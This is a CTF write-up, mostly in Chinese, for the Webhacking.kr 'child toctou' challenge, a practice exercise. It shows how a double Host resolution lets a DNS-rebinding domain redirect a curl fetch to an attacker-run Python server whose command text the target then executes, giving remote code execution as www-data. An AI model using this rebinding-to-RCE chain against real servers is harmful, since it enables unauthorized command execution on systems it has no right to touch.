Webhacking.kr child toctou
Challenge
The page is a web shell whose front end posts commands to a JSON endpoint.
页面是一个 WebShell,前端把命令发到 JSON endpoint。
1 | http://webhacking.kr:10020/ |
前端脚本把输入发到:
1 | fetch("/api.php?q=" + escape(text_)); |
页面显示提示符
WebShell:/ $,并把响应文本追加到终端。
Analysis
api.php 不直接执行命令,而是先校验
Host,再用 Host 去请求同端口的
/cmd/<q>.txt,最后把该文件的内容当命令执行:
1 |
|
关键点是 Host
被解析两次:gethostbyname()
解析一次做校验,curl 再解析一次取内容,中间还夹着
sleep(1)。这就是 TOCTOU。
现场实测分支:
1 | Host: webhacking.kr -> 走 `!==` 短路,校验通过,curl 请求自己 → 命中 /cmd 白名单 |
/cmd/
目录是预置白名单(ls.txt、cat api.php.txt、cat index.php.txt),?q=cat flag.php
会返回
only "ls", "cat api.php", "cat index.php" allowed。
Solution
链条:让 Host 在校验时解析到
202.182.106.159(目标自己),在 curl
请求时解析到攻击者服务器,从而让
http://<Host>:10020/cmd/<q>.txt
返回任意命令文本,被 system() 执行。
Host 必须匹配
/^[a-z0-9-.]+$/,所以使用符合格式的 DNS rebinding
域名。草稿记录 rbndr.us 在该目标上两种 IP 顺序都返回
Something wrong;1u.ms 的
make-<ip1>-rebind-<ip2>-rr.1u.ms 可用。
攻击者侧是一台公网机器,监听 :10020,对任意
/cmd/<q>.txt 返回要执行的命令文本:
1 | from http.server import BaseHTTPRequestHandler, HTTPServer |
命令文本:
1 | cat flag.php; echo "=== id ==="; id |
然后反复请求目标,Host 用 rebinding
域名(<attacker-hex> 是攻击者公网 IP
的十六进制):
1 | GET /api.php?q=ls |
gethostbyname() 拿到 202.182.106.159
时校验通过,curl 拿到攻击者 IP
时就取回我们的命令文本并执行。返回:
1 | <?php |
即 cat flag.php 读出 flag,并确认以
www-data 身份 RCE。